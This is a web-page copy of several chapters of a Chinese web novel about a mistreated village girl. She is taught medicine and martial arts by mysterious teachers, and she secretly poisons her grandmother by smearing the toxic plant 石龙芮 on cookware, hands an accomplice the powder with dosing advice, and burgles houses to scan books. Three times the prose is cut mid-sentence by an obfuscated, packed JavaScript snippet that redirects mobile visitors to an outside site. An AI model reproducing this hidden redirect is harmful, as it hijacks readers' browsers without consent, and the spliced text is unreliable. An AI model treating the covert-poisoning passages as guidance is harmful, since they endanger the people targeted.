“你敢诅咒她?”老太太举起手上的刀。 隔壁的老太太被吓的后退一步,见她没有多余的动作,又继续说:“我就是嘴上说说,哪里比得上你,让她去采药的是你,她真要是出了事,那也是你的问题啊。” “不可能,那丫头之前天天去采药都没有出事,现在怎么可能出事?” “之前不可能,是因为她天天回来,就算进山,也进不了多深,现在你让她一走就走那么多天,肯定是进了深山,没准就碰到野兽了呢,”隔壁老太太说着,忍不住笑起来,“你看看你,好不容易养大个孩子,就让她进了林子里死了,最后什么都讨不到,真是活该。” “呸,你才活该,她肯定是在外头躲着我呢,过两天就会回来了!” “那就等着瞧,看她回不回来,我看她啊还不如在外面死了算了,不然留在家里给你磋磨,活着比死了还痛苦,呸。” “呸呸呸,你个死婆娘,我打不死你!” “你敢来,我让我儿子揍你,我儿子比你多,打起来可不怕你!” “你个老不死的!老不死!你怎么不去死啊!!!!!!” 15.不让好过 “你要回去?” “最近我家里情况怎么样?”忍冬看了眼院子那边还在对骂的两人,侧身站在暗处,“你盯这么紧,我爹的日子不好过吧?” “还躺在床上呢,伤了第二次,完全不敢乱动,不过人算是废了,而且前天跟你爹谈婚论嫁的女方已经过来退亲了,事情还闹挺大,反正你奶是很生气,”狗贵也看了眼院子,“你要是在外面有落脚的地方,最好还是别回来,不然你奶的气都要撒在你身上。” “我在考虑,”忍冬垂眸,“要是这会儿走了,户籍是个问题,以后真要出去,怕不好搞。” “你回来了,以后能出去?”狗贵问道。 忍冬失笑:“也是,我留不留在家里,只要我想走,总要掰扯一顿,没什么区别。” “所以你在外面真有落脚的地方?”狗贵又问。 “你打听这些做什么?”忍冬看他,很快就从他的目光中察觉到什么,直接说道,“你在村子里当懒汉不是挺好,怎么,还想出去闯荡?” “当懒汉是好,但总是被人嘲笑,听着也烦,”狗贵皱眉,“你是个有本事的人,这么多年来也只有你年纪轻轻就能采药赚钱,现在遇到这样的情况,你也能在外面生存下来,所以我想……你能不能让我在外面混口饭吃?” 忍冬摊了摊手:“但你知道,卫大夫那边想的是多一事不如少一事,所以我现在并没有再跟卫大夫接触。” 狗贵却有自己的理解:“也就是说没了卫大夫,你还能在外面落脚?” “你也很聪明啊,”忍冬看他,“所以你是真的想要离开这里?外面可没有你想的那么好混。” “至少外面的人不知道我的情况,不会日夜用怪异的目光看我。”狗贵原本觉得无所事事当懒汉挺好,但在跟忍冬联手,给了钱三致命一击后,再面对村里村外异样的目光,却逐渐觉得无法忍受。 他不知道那叫什么,但在无法忍受的情况下,他觉得在村里的每一刻都很煎熬,让他想要迫不及待想要逃离这里。 可他很清楚,在外面讨活确实不容易,所以他日夜在钱家门外等候,不仅是为了听钱三的哀嚎,也是为了等忍冬回来。 村里大家的日子都没有那么好过,比忍冬日子还要难过的人有很多,唯独她有所反抗,且真的加以实施。 重点是没有人发现她做的那些事。 村里所有人都认为她不过是被欺压的可怜孩子。 “你认真的?”忍冬又问了一句。 她最初找上狗贵合作,不过是因为他跟钱三有仇,两人都想要让钱三出事,至于他本身的情况,自己并不在意。 没想到因为那次合作,居然让狗贵这个懒汉有了奋起的心思。 如果他真的愿意出去跑,两人倒不是不能合作。 狗贵察觉到了忍冬的意思,立即点头:“我是认真的,所以你愿意带我吗?” “不是我带你,我这么小的年纪,就算是出去闯荡,别人也不会信我,只是我恰好遇见了一桩生意,要是你愿意,可以替我出去跑,”忍冬取出荷包,从里面拿出一块银子,“这银子估重三两,你带着它去附近的村庄收粮食,粮食值多少钱我最清楚,你好好替我办事,以后我们或许可以永远离开这个村子。” 要是在以前,她绝不敢做出这样的承诺,但她现在有了许多老师,且老师们又有那样的神通,她觉得自己未来的人生或许以后不仅仅只是脱离村子那么简单。 所以她一定要待老师们好。 今天要是没有碰上狗贵,她自己也会拿着银两去县城里买粮买菜,毕竟她种的粮食不多,要让老师们日日吃好的,总要在外面买些粮食。 可县城的粮食总归是贵的,要是狗贵能从不同的村里买粮,价格能便宜不少。 狗贵接过银子:“你要好粮,还是要一般的?” “我要好粮,”忍冬收回手,“除了好粮之外,要是有新鲜的菜,我也都是要的,这只是第一批,只要你做的好,往后我们还能继续合作。” “好,那粮食我怎么给你?” “隔壁古树村通往县城的路上,半山腰那边有个破庙,平常没什么人过去,三日后傍晚我在那边等你,以后我们都在那边见面,不然总在村里见面,会被我奶发现。” “好,那三天后见,”狗贵收好银子,再看向忍冬,“我可等着你变的更厉害呢,以后我能不能离开这个破村子,可就全靠你了。” “那你也得好好做事,要是让我发现你背着我搞事……” “知道知道,你能对付你爹,就能对付我,”狗贵举手,“我好不容易抱上你的大腿,绝不会自断后路。” 说过,他看向钱家院子:“所以你不回了?” “回啊,不过现在我舍不得给银两了,”忍冬也看了眼院子方向,回头说道,“你忙自己的去,我的事不用你管。” 说完,她径直往森林的方向走去。 卫大夫给的册子里,有许多草药,其中就有不少药材只可外用不可内服,且与寻常野菜长的极像,比如说石龙芮,又叫野芹菜,服用者轻则腹泻腹痛、口腔灼热、呼吸困难,重则致死。 她没打算杀人,但既然有人不让她好过,她也不会让人好过。 这座山里,有不少石龙芮。 寻常百姓不认药材,也怕进了林子后意外采到有毒的野菜,吃了出事,所以一般只在熟悉的地方挖野菜,所以即便石龙芮很像可用的野菜,也没人敢采。 她先前采药,都是见到什么采什么,时不时还需要思索眼前的东西到底是不是药,采药的进度并不快,但这次她就是冲着石龙芮而来,倒是有了意外之喜,找到了大片密集生长的石龙芮。 这药材有清热解毒,消肿散结的功效,处理之后也能拿去药铺售卖。 倒是有了意外之喜。 石龙芮整株均可入药,所以她直接全株拔起,不一会儿就采了一背篓的药材。 等这片石龙芮采集完,她看着时间还早,又在附近走动,寻找可以采集的药材,有的时候实在不确定,就拿出卫大夫给的册子进行对比。 这样采集,她对药材的了解比之前更深了些,有些药材即便不看册子,只一眼就能确定是药材而不是杂草。 也是这时候她才发现,自己之前在林子里来来回回多次,居然漏看了这么多药材。 真的好多药材啊! 忍冬又采了一株药材,要放进背篓的时候才发现,自己的背篓已经满满当当,完全塞不进新的药材。 而天色也已经暗下。 看这天色,要不了多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162512|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久就会全黑。 即便她对林子里熟悉,到了天彻底黑下的时候,继续在林子里逗留也会很危险。 她抓紧最后的亮色,快步往村子的方向跑去。 但可能是因为她找药材太过沉迷,等到天色完全黑下,她都没见到村子的影子,而周围已经几乎伸手不见五指。 正当她犹豫要不要就地找棵树爬上去休息时,突然想起什么,从衣服内拿出了一枚石头。 随后从地上捡起十几根树枝,将它们裹在一起。 右手握着石头发力。 不一会儿,树枝就被点燃,十几根树枝的亮度,足够照亮她眼前的道路。 再有一会儿,就能走出林子。 忍冬收好石头,继续往村子的方向走去。 果不其然,在不久之后,她就看到了村子里隐隐约约的亮光,虽然亮光不多,却足够让人辨认方向。 走到这里,就算没有光,她也能知道所有的道路方向。 她在入村的路上站定,吹灭手上的火光,往家中的方向走去。 将石龙芮的汁液涂抹在锅碗之中。 这点量,不足以致命,却能叫人痛苦。 做完这一步,她轻轻关上厨房的门,背上背篓离开,往山洞的方向走去。 刚采集回来的药材都需要处理,她直接穿过山洞到了河边,人刚一靠近,头顶就亮起了光,跟前几天她看到的一样,只要这光在,周围一圈都仿佛白昼。 正好方便她处理药材! 忍冬蹲在河边,将所有的药材都一一洗净,然后按照卫大夫给的册子,对它们进行分类,等稍微晾晒过后,就要根据不同药材的药性进行炮制或切片。 册子摆在面前,她对着亮光,仔细又记了记药材的模样。 叶片、根系、花、果,一样都不能差。 洗干净药材后,她也没有立即回去,而是依然坐在这亮光下看册子。 如果她能将这一本册子里的药材模样和药性都背下来,以后去林子里采药,肯定能找到更多的药材。 “忍冬。” “老师,”忍冬站起来,连忙收好自己的书,“我是不是打扰你们了,我这就走。” “我来不是要赶你走,而是想跟你说,你要是无处可去,可以睡在这里,”夏瑞蒂走到改造舱边,伸手开门,“我们帮你在这里布置了床,以后你都能睡在这里。” 忍冬看了眼箱子,想到了之前的疼痛。 夏瑞蒂看出她的想法,主动道:“放心吧,只要不启用,你在里面不会感到疼的,现在这里面有了床,启用的时候你同样可以躺着,现在你身体还弱,偶尔承受不住晕过去很正常,躺在床上总比躺地上要好。” 忍冬又看了看箱子,虽然里面就只有一张床,但看上去已经有了屋子的模样。 “我真的可以住吗?”忍冬问道,期盼地看着那张床。 “当然,”夏瑞蒂点头,拉着她进门,“今天你好好休息,明天开始会有人教你学武,到时候会很辛苦,一旦开始,就算你跟我喊累,我也不会帮你,知道了吗?” 忍冬连连点头,不仅不觉得煎熬,还有些迫不及待想要学武。 学了武,她就能变的强大。 “我明白的,老师,我肯定能坚持住!” 16.卖出高价 没有风。 忍冬躺在床上,缩在睡袋中看着天花板。 虽然这屋子里什么都没有,但她却觉得自己仿佛真的有了一个新家,一个不会被打骂,不会被赶出去的家。 虽然她也不确定自己究竟能在这里待多久,但至少在这里,她可以活的更轻松快乐。 而这样的环境也让她有些失眠,一直都在想着未来,如果这样的日子可以一直持续下去,她应该会很开心。 不对,是特别开心才对。 真正睡着时,她自己都不记得是什么时辰,直到第二天醒来,她才发现自己确实睡了个整觉。 外面没有声音,也没有过多的光亮透进屋内。 但这时候应该已经天亮了。 她起床推开门,看着早已大亮的天色,再看着不知道什么时候就到了她门口的几人,不好意思地喊人:“我是不是睡晚了?” “你这个岁数,睡觉久一些很正常,”汉普顿说道,“不过你既然已经醒了,收拾一下,我带你先练练身体,你的身体弱,前期进度不能太快,但也要逐渐练起来,还是那句话,一旦开始,你就无法中断了。” “嗯,老师,我明白的。” 从决定要学武保护自己,让自己变得强大之后,忍冬就没有想过要中断,一开始得知学习异能只有十年寿命的时候她没有放弃,现在自然更不会放弃。 说过后,她立即去收拾好自己,随后就跟着汉普顿开始练身体。 练习初期都是一些基础的运动,包括跑步、跳高、跳远,以及重复动作以加强身体素质,还有每天都要进行的机体改造。 这个过程并不有趣,反而还有些乏味,但她从没有哪一刻喊累。 不管汉普顿说什么,她都会照做。 不过倒也不是全程都在学武,期间她也有一些休息的时间,就会趁着这些时间出去跟狗贵交易,收取他收购来的物资,也会抽时间去山里找娘亲和孩子们。 她们陆陆续续做了些荷包和手帕,虽然赚不了大钱,但可以贴补一些,全部用来购买粮食的话,一天干的活,吃上几天都不成问题。 至于家中,从忍冬确定不再回去,她也确实再没有回去过,后续对家中情况的了解,都是来自狗贵。 两人约定三日一见,每次忍冬都会从他手中得到一批精细粮食和时兴的瓜果蔬菜,至于报酬,则是乡下价格与县城价格差的一半。 这个数额不算太大,却也足以让狗贵能攒下钱来。 “大丫,这里。” “以后你喊我忍冬吧,这是我娘给我取的名字。” 庙宇破旧,两人交易多次,倒是收拾出一片干净的地方来,刚收来的粮食和蔬果都堆在这里。 “你娘是个好人,可惜终究是逃不出……”狗贵感慨道,“你是为了你娘,才那么恨钱家的吧?你奶都被你吓的不行了。” “她怎么了?”忍冬问道。 “你不知道?”狗贵疑惑反问。 “自从上次跟你在我家门口见面之后,我就再没回去过,这段时间我也很忙,”忍冬说着话,依然疑惑看他,“我奶怎么了?” 狗贵原本坚信钱家的事跟忍冬有关,这会儿却被说的有点自我怀疑,但如果是她干的,她应该没必要隐瞒:“你奶觉得自己中了邪,前些日子找钱大钱二要了大钱,请了驱邪的人来做法事,这些时日行事有些疯癫,瞧着很不对劲。” “中邪?她不是一贯都觉得自己很厉害?凡是出了问题,都是别人的错,怎么突然这样认为?”忍冬心想自己当初只是往锅碗里涂了石龙芮而已,顶多身体上受点罪,中邪的事应该与她无关。 所以她是真好奇到底发生了什么事。 狗贵看她的神态,这才相信事情与她无关,说起事情的前因后果:“那日我们遇见的后面几天,她的身体就很不舒服,吃不进东西不说,还上吐下泻、呼吸困难,也是从那时候开始,她总说有人盯着她,想要她的命,但不管别人怎么找,都找不出异样,所以大家都认为她是中了邪。” “这样啊,”忍冬忍不住笑,又问,“那她现在驱邪之后还好吗?” “表面看似乎好了些,但只要有人靠近她,她依然会疑神疑鬼,”狗贵说着,突然笑了,“对了,因为她现在跟你爹住在一起,有的时候她总是怀疑你爹被鬼上了身,不过很可惜,暂时她还没有对你爹动过手。” “那就让她动手吧。”忍冬从怀里拿出一个纸包递过去。 “你还说之前不是你干的?这能叫人中邪?”狗贵接过纸包,“你居然还有这样的本事?” “这不是叫人中邪的符咒,不过是石龙芮的粉末罢了,也就是野芹菜,它可以作为药材,但本身是有毒的,吃进肚子里后会叫人呼吸困难、上吐下泻,还会有头晕乏力的问题,”忍冬淡定说道,“我奶之所以表现出中邪的症状,是因为她做贼心虚,与我无关,但既然她都有了这样的表现,我不去落井下石,都对不起她这些年干的那些事。” “原来是这样,我还真以为村子里有鬼呢,吓死个人了,”狗贵握住纸包,“这里面的东西,都下给她?” “一点点就行,太多了真会死人的,涂抹在锅边和碗筷就好,”忍冬说着,看着他道,“不过别被人发现了,不然这锅得你自己背。” “这你就放心吧,我还等着看你爹受苦呢,这要是被发现,反而被他看了笑话,那可不行,”狗贵收好纸包,“对了,接下来还要买粮吗?” “要,”忍冬还是拿出了三两银子,“不过之后除了买粮之外,你再顺便打听打听有没有什么有意思的事,任何事都行,我会根据消息的价值给你报酬。” “打听消息?”狗贵疑惑问道,“你要做什么?” 忍冬没有回答他,只是道:“这你不用管,你只管帮我打听事就行。” 这并不是她心血来潮,而是白仁悦交给她的作业,她想要伪装好自己,让自己变成任意想要变成的模样,就需要了解到足够多的人情世故和消息。 譬如说她伪装最成功的就是在村中,那并不是因为她厉害,而是因为她足够了解村中所有人的情况,所以能确定自己如何伪装才不会被发现。 以后她要往外走,要在别人面前伪装,就需要了解那些人的讯息。 狗贵虽然没有得到自己想要的答案,但还是点了头,左右他以后都要跟着忍冬做事,忍冬变得越强大,对他越有利。 再说打听消息也不难,反正他除了收购粮食之外没别的事干,无所事事之下,都是跟人闲聊,能打听消息赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176596|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,岂不更好? “那我们三日后还是在这里见面。” “嗯。” 说过,忍冬将接下来要收购粮食需要花的银子给他。 等到狗贵离开之后,忍冬才背起粮食往山洞的方向走去。 之所以每次定在三两,是因为这是她能接受的最大重量,再多一点,她就背不动这些东西了。 就这些粮食,她都要费不少力气,才能背回山洞里。 不过现在,她的力气似乎比之前要大了些,背起这些东西回山洞,没有之前那样疲惫。 但背回粮食还不是全部的事,将粮食放回山洞之后,她又拿了提前挑选出来的布料,离开山洞往县城的方向走去。 织布赚钱是除了种地之外,最常见的一种赚钱方式。 所以县城里有专门收取布料的铺子。 不过她从老师们手上得到的这些布料,与常见的棉布和麻布都不一样,却也比不上贵重的蚕丝,但花纹很有意思,之前几次她拿去卖,都卖出了一个不错的好价。 甚至还有一些料子,她根本看不出是怎么织的。 特别是那批保暖效果极好的料子,是她前所未见的料子。 所以她这段时间仅仅只挑出了能看出织法的料子卖,剩下的保暖料子,一部分交给了她娘,剩下的都还在山洞里。 今天她又挑选了一筐布料,来到了收布料的铺子里。 不同于前面几回的打量,今天她到时,正在招待客人的伙计立即喊了人:“掌柜的,好料子来了。” “什么好料子?”掌柜的声音从里屋出来,随后人才掀开帘子,看清忍冬时立即笑道,“还真是好料子来了,你都好些天没来了,今日又拿了几匹料子?” “前两日不是刚来过么,”忍冬笑道,将背篓摘下来,“今日就拿了这些,掌柜你算算。” 掌柜笑着点头:“行。” 说过,他将所有的料子接过,放在台子上仔细查看,边查看边道:“这织娘手艺是真不错,这么大的布料,还有这样的花纹,居然没有一点错漏。” 忍冬也看着料子,虽然老师们没有说过,但她却觉得这些布料的做法应该跟自己和掌柜想的都不一样,或许会更加简单。 但她面上并没有露出异常,只是道:“是啊,为了织这些料子,每一刻都要盯紧了,万一有个错漏没注意,好大一部分都得重新来过,掌柜的,如今我已经带了几回料子过来,您也该知道是不是能卖,不止这价格……” 掌柜点头:“那便按我们一开始说好的,我这边给你涨个价,一匹价八百文,如何?你若是不愿,亦可以去别家问问,定没有比我这价更高的。” “我自然是信掌柜的,八百就八百,掌柜算价吧。”忍冬第一次来之前就打听过,这个铺子是最实际的,不像别的铺子,面上看价格是高,却会在你信任之后,故意压布匹尺寸,以达到压价的目的。 最终的价格也确实让她满意。 全部布匹售出,到她手里足有四两五钱,甚至还多给她算了三十几文。 拿到钱之后,她立即承诺:“掌柜放心,只要你们以后不克扣,往后我的布匹,只会交给你们瑞昌布庄。” “那就多谢忍冬姑娘了。”掌柜立即笑着拱手。 17.救我自己 “还不够快。” “知道了,老师,下次我会再快点。” 忍冬喘着气,回头看来时一路的障碍,再看向汉普顿:“老师,再来一次。” “好,”汉普顿点头,“你回去,我们再来一次。” 忍冬扶住双膝,稍微缓了缓,便立即往回走。 她离开之后,白仁悦走到了汉普顿身旁,直接问道:“你还不满意?” “不是我不满意,是她对自己的要求高,不过这样很好,只有这样,她才能变得足够强大,”汉普顿说着,看向白仁悦,“你呢,最近成果如何?” “忍冬所在的世界果然是古代,而且还是没有机械化的古代,比我们想象中都要来的原始,不过那个世界也并非全无可取之处,那些所谓的中药材,经过系统化的研究,确实有着特殊的功效。” “可以提取成分吗?” “可以,但提取后的成分未必会有同样的效果,而且我不能确定,提取之后会不会反而导致药性发生改变,那不是我们能理解的范畴,忍冬的那本讲中药材的册子我都看过了,有些内容确实很难理解。” “那就没办法了?” “不,有办法,我们无法理解,她可以。” “你的意思是?” “让她学会更多医药相关的知识,将她培养成顶尖的医生,”白仁悦看着远处的忍冬,“你对她的训练维持这个强度就可以了吧?留一些时间给我,她需要足够多的时间学习那个世界书上的知识。” “可按她的说法,她并不能接触到那个世界更多的书籍。” “所以这得你给她任务,”白仁悦看向汉普顿,“那个世界既然是最原始的非机械化世界,以她如今的水平,要偷偷潜入别人的宅邸应该不成问题吧?” “你让她去偷书?” “何必要偷,只要叫她带个扫描仪过去,将所有书本的内容都扫描过来,我们这里就能打印出来,至于教学,让她带个监控去别人的学堂录一下就行,”白仁悦双手插兜,“能用电子产品解决的问题,我们又何必多加苦恼?” “也是,”汉普顿笑了,“那等她过来,我和她说一声,希望她能尽快成为顶尖的古代医生。” …… 深夜。 忍冬穿着整套的黑色衣物,站在卫家的药铺门口。 她的手上,是不久之前拿到手上的东西,不过手掌大小的东西,实在是看不出这是做什么的,但任务的要求就是需要她用这个东西扫过书籍的每一寸。 而她最熟悉,能尽快接触到书籍的,就是卫家的书房。 对不住了,卫大夫。 不过你放心,我绝不会损坏你的书籍。 忍冬来到后院,看着两人高的院墙,将提前准备好的细脚踏穿入院墙,再踩在脚踏上,翻身轻轻地进了院中。 这时候正是所有人在休息的时候,后院之中也空无一人。 但她并没有磨蹭,依然加快步伐,悄悄溜进药铺的书房,找到了放在这边书架上的所有书籍。 全部操作完成,她将所有书籍放回原位,再掩盖全部的痕迹,又离开药铺,撤去爬墙的脚踏。 之后她也没有立即回山洞,而是又去了学堂,将白仁悦要求的东西放在学堂的一角。 正要离开的时候,她看到手上的东西,又在学堂里寻找存放书籍的地方。 虽然这东西到她手上的时候,她并不知道它是干什么的,但按照白仁悦的说法,这东西扫回去,可以让她学识字、学医。 既然如此,那书籍该是多多益善为好。 哪怕她到现在都不知道山洞那边究竟是什么情况,可她已经能确定,从山洞那边带来的东西,恐怕就算是这个世界的富贵人家,也从未见过。 她从小认字,不是因为家中人愿意,而是她娘趁着所有人不注意,拿着树枝在地上一笔一划教的。 人人都知道学识重要,但真正能读书识字之人少之又少。 她若有机会读书识字,必定花费全部精力,无论如何都不会错过这样的好事。 功夫不负有心人。 忍冬找了一圈,也在学堂里找到了存放书籍的书房。 这里的书籍比她想象中还要多,她又想做的仔细,所以每一本书都扫的格外仔细,全部扫完的时候,天色已经蒙蒙亮。 书院内甚至已经有人开始洒扫。 她站在书房一角,扫着手上的最后一本书,确认全部扫完后,将书籍放回原位,悄悄打开了书房的窗户,从窗户翻走离开。 她刚离开不久,有人推门进来,看了一圈后疑惑地站在门口挠头:“我怎么听见里头有动静,是我听错了?” 与此同时,忍冬已经彻底离开书院,成功将扫了医药书籍和书院书籍的东西带了回去。 后续的发展也果然不出她所料。 在她将扫了书籍的东西带回去之后没两天,就得到了一批新的书籍。 书籍的材质摸着柔软,却并不易撕,与她先前得到的布料有些相似,但这不是重点,重点是这批书籍上的内容与她扫过的书籍一模一样。 甚至又过了几日,在她从书院带回那枚藏在暗处的,如同纽扣一样的东西后,她开始了新的学习课程。 书院的先生教的课,她也能看见瞧见,仿佛那先生就站在她眼前。 如她预想的一样,这个山洞并不一般。 忍冬坐在课堂上,听着书院先生的讲课,低头看着面前的纸笔,认认真真将先生教的内容记在纸上,并默念背诵先生教的内容。 四书五经的内容与她而言深奥了一些,但读过四书五经,再看从卫大夫那里扫描过来的医书,却逐渐觉得医书上的内容变得不再晦涩难懂。 冬去春来,春去秋来。 忍冬在接下来的日子里,除了偶尔出去见娘,再从狗贵手里拿他在外面购买的粮食之外,剩下的时间不是在读书识字,就是在训练习武。 许是这一年手上攒了余钱,伙食也不错,她的身体比之前强了不少,身高也往上窜了一大截,甚至面对狗贵时,都不像之前那样需要仰视,几乎已经可以平视。 除此之外,她的学习成果也颇为显著。 虽然在读书识字上看不出太多,但她已经将所有能见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182643|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药材模样都熟记于心,再去森林里采药,都不用像之前那样需要反复辨认,只看一眼就能辨认所见的药材,还能辨别药材的年限,确认药性。 这一年时间,即便她并没有多少时间外出,却也陆陆续续攒了不少药材。 老师们还特意给她拿了个药柜,所以那些药材并没有卖出去,而是都存放在药柜里。 这件事也及时救了她娘。 有次她去见娘,意外发现她娘受了风寒高烧不退,那时已是深夜,药铺都已关门,找大夫已是来不及,还是她自己配了药,用药柜里的药材将人治好。 从那以后她再往森林里去的时候,不仅只是找药,还尽可能地寻找药柜里没有的药材,以备不时之需。 “忍冬。” “夏老师。” 夏瑞蒂走近,看着忍冬面前的药材:“我问你,如果叫你现在医治病人,你会吗?” 忍冬看了眼药材,如实道:“夏老师,我学的都是书上的内容,并没有实际接触过病人,现在让我看病救人,就算我愿意,病人也不会愿意,而且每个病人的情况不一样,不能照本宣科,所以我可能,不太会。” “那你敢吗?”夏瑞蒂又问。 忍冬蓦地看她:“夏老师,我……” “我不管你会不会,只问你敢不敢,只要你说敢,我就带你去见病人,”夏瑞蒂神情严肃,“不过你放心,就算你治不好,我们也不会怪你,他已经撑了很久,再不治真的要来不及了。” “那……”忍冬想问为什么不去找别的大夫,话说出口想起自己这一年来接触的情况,如果老师们能选,肯定会选那些最厉害的大夫给病人医治。 既然不选,说明没得选。 或许她从一开始被培养学医,就是为了这一天。 想到这儿,她抬头看向夏瑞蒂,坚定点头:“老师,我可以试试。” 夏瑞蒂拉着她的手:“那你跟我来。” 说过,她就拉着忍冬往山壁的方向走去,带着她进了山壁内。 这也是忍冬第一次走进这个山壁。 里面的情况比她想象中要奇怪,没有桌椅板凳,都是些奇奇怪怪的金属,她说不出这些到底是什么东西,但仔细想想,又与她这一年接触到的那些事物十分契合。 夏瑞蒂没有去看忍冬的表情,一路带着她到了病房内。 此刻的病人内,一个瘦骨嶙峋的人正蜷缩地躺着,看上去极为痛苦。 老师们则围成一圈在外面站着,见忍冬过来,都用希冀的目光看向她。 “不论救治如何,我们都不会怪你,忍冬,他就靠你了。” “去吧,他能撑到你已是幸运,无法等到你学识更进一步,是他身体实在撑不住了。” 忍冬抿唇。 “这是不是就是先前夏老师所说,异能带来的崩溃?” “是,所以未来有一天,我们也会变成这个样子,如果你能救……” 忍冬握拳:“我知道,救他等于救老师们,也是救我自己!” 说着,她快步走到病床前,抓住了病人的手腕,仔细感知对方的脉息。 18.值不值得 “忍冬,怎么样?” “好奇怪的脉象,”忍冬皱着眉头,“这脉象显示他阴阳失衡,气血逆乱,又有外邪入体、内生有毒,五行紊乱,伤及五脏六腑,早已是死相,如今竟然还能活着,已经是出乎意料。” “什么意思?” “脉象太复杂了,”忍冬放下手腕,“寻常人生病,脉象清晰,什么病就是什么样的脉象,但他的情况却不是,感觉他五脏六腑都有病,阴阳还失衡,正常人根本走不到这个地步就会死,可他却能活下来,这样的脉象,别说是我,就算是那些名医大夫来看,怕也难以医治。” “那就是没救了,是吗?” “异能崩溃,本就无药可医,便是治疗仓都只能缓解,到二哥这个地步,更是走入绝境,”夏瑞蒂低声说道,再看向忍冬,“我们不怪你,原本叫你医治,就是盼着能有个万一,现在这样,我们都能理解。” 她说着,看向其余人,用目光示意,叫他们不要多说。 他们都最清楚忍冬的来处,异能崩溃的问题,就算是最先进的科学技术都无法医治,寄希望于古代的医术,一开始只是看着它似乎不太一样。 但要说古代的医术真能解决现代的医术都解决不了的问题,也不过是他们的渺茫期盼。 毕竟异能导致的崩溃来的突然,随时都会轮到他们。 “你们也都救不了吗?”忍冬问道。 夏瑞蒂点头:“要是能救,就不会找你了。” “那我试试看可以吗?”忍冬再看向病人,“我未必能治,但或许可以缓解疼痛,而且我们那里有句话,叫‘死马当活马医’,不过要是你们不愿意……” 夏瑞蒂立即道:“你试,既然叫你来,你就放心大胆尝试!” 其余人也纷纷点头:“你试试吧,都到了这个地步,你要是不试,他必死无疑,但你要是试试,万一能有救,或许我们也都能有救。” 忍冬这才点头:“那我开药,还有针灸和药浴。” “你需要什么,我们帮你准备。” 忍冬重新握住了病人的脉息,查探脉息情况。 药材需要她自己来准备,但针灸的针具和药浴的器皿,都可以交给众人。 这一年时间,她除了学山洞外的知识之外,也会跟着夏瑞蒂和白仁悦学一些她们这边的知识,了解到了曾经没有了解过的内容。 比如说入体的东西,需要消毒,否则可能会导致感染。 针灸的针具在外头无法做到一次一套,但在这里却是可以做到的。 正式开始治疗之后,忍冬也没有故步自封,而是带着记录病人身体状况的资料带了出去,找了许久未见的卫大夫,想要与他沟通交流。 见她出现,卫大夫脸上满是震惊,一会儿之后才道:“你随我进来。” 忍冬快步进了药铺,跟着卫大夫进了后院。 在后院站定后,卫大夫回头看她:“你这一年没有在家,去了哪儿?” “卫大夫也听说了?”忍冬笑着问道。 “自然,虽然我与你家没有交集,却也四处看医巡诊,总会见到你们村的人,”卫大夫皱着眉头打量着她,全部看过后松了口气,“看上去你这一年过的还行,人胖了也高了,方才若不是你喊我,我怕也认不出你,罢了,人各有命,我便也不问你发生了何事,今日你来,找我是为何?” “我这一年与人学医,算是学有所成,前几日遇到了一个奇怪的脉象,不知道卫大夫能不能帮我解释一二。”忍冬将手中的脉象递过去。 卫大夫低头看过,眉头再次皱紧:“胡闹,哪里会有这样的脉象?你怕不是跟了个庸医!” “卫大夫,”忍冬从怀里掏出一块银锭,“不管这脉象如何离奇,卫大夫只当是看寻常的病人,这是诊金。” “这钱你拿回去,病人我治不了,”卫大夫将脉案交还给她,“我行医一世,从未见过这样的脉案,这样的脉象,人都不知道死了多少回了,还治什么?” “卫大夫,不管治不治,只需您替我解惑,这是我给开的药,还有针灸和药浴的方案,您就当这是一个不存在的病人,只是一场考验。” 卫大夫见她说的坚定,叹气点头:“只此一次,下不为例。” 忍冬:“好。” 说过,卫大夫就接过了治疗的方案,仔细看了起来,看着看着,他忍不住开口:“这里的药浴和口服药物的药性有些冲突,你是怎么想的?” “因为病人的身体着实有些古怪,不能像寻常那样治疗,若是单独治疗一种问题,恐怕打破病人体内的平衡,反而会导致病情更重,所以我觉得……” 忍冬将自己的治疗方案一一进行叙述。 卫大夫边听边点头,等他说完后肯定道:“看来你这一年确实学了不少医术,倘若真有这样的病人,这样的方案倒是适宜,不过还可以考虑再周到一些,我曾经见过一些特殊的病人,虽无你说的这个病人这般奇特,却也患了多种疾病,我与你说,这里你要……” 忍冬越听眼睛越亮:“还是卫大夫厉害,我都没想到可以这样做。” “你虽然学有所成,却并未接触过大量病人,病人的身体状况千奇百怪,书中描述无法一概而论,有的地方不了解也正常,不过你能在一年内就学到这个地步,也是天赋异禀,”卫大夫说着,看向忍冬感慨道,“你的那位新老师倒是极好,可惜我们无缘。” 忍冬张了张嘴,想说一定要提老师的话,卫大夫就是她的老师。 毕竟她启蒙的所有医书,都来自于卫大夫的书房。 